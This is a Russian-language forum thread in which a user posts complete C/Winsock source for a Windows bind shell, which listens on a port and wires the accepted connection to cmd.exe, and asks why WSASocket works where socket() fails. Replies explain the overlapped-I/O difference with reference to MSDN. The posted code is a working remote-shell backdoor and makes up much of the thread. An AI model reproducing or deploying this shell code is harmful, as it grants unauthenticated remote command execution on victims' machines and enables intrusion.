писал bind shell. И вместо WSASocket использовал socket. Код (Text): WSADATA wsadata; WSAStartup(2,&wsadata); SOCKET hSocket=WSASocket(2,1,0,0,0,0);//socket(AF_INET,SOCK_STREAM,0); sockaddr_in sa; memset(&sa,0,sizeof(sa)); sa.sin_port=htons(PortTelnet); sa.sin_family=AF_INET; bind(hSocket,(sockaddr*)&sa,sizeof(sa)); listen(hSocket,2); sockaddr a; int addrlen; SOCKET hS=accept(hSocket,0,0); STARTUPINFOA si; PROCESS_INFORMATION pi; memset(&pi,0,sizeof(pi)); memset(&si,0,sizeof(si)); si.cb=sizeof(si); si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; si.hStdInput=(void*)hS; si.hStdOutput=(void*)hS; si.hStdError=(void*)hS; CreateProcess(0,"cmd.exe",0,0,TRUE, 0,0,0,&si,&pi); WaitForSingleObject(pi.hProcess, INFINITE); closesocket(hS); closesocket(hSocket); WSACleanup(); я весь вечер просидел. пока не нашёл в чём проблема. Объясните в чём разница между этими сокетами?
В мсдне же написано, секция Remarks http://msdn.microsoft.com/en-us/library/ms740506%28v=VS.85%29.aspx
Kaimi у меня просто не очень хорошо с английским. На сколько я понимаю socket создаётся со стандартным вводом выводом, это определено по умолчанию. А у WSASocket за это отвечает флаг dwFlags
If a socket is created without the overlapped I/O attribute (WSA_FLAG_OVERLAPPED), all I/O operations on the socket are synchronous. So if your program has set socket options SO_SNDTIMEO and SO_RCVTIMEO, you need to make sure your socket is created with the overlapped I/O attribute to timeout your blocking send or receive operations. В общем флаг, который по-умолчанию выставляется при использовании socket, включает возможность одновременного выполнения нескольких операций на одном сокете.
при создании WSASocket (библиотека ws2_32.dll Winsock2.h) сокет можно назначить как стандартный хэндл ввода вывода, также вторые сокеты полнстью управляемы событиями. ф-я Socket это первые сокеты либа wsock32.dll у они лишены этого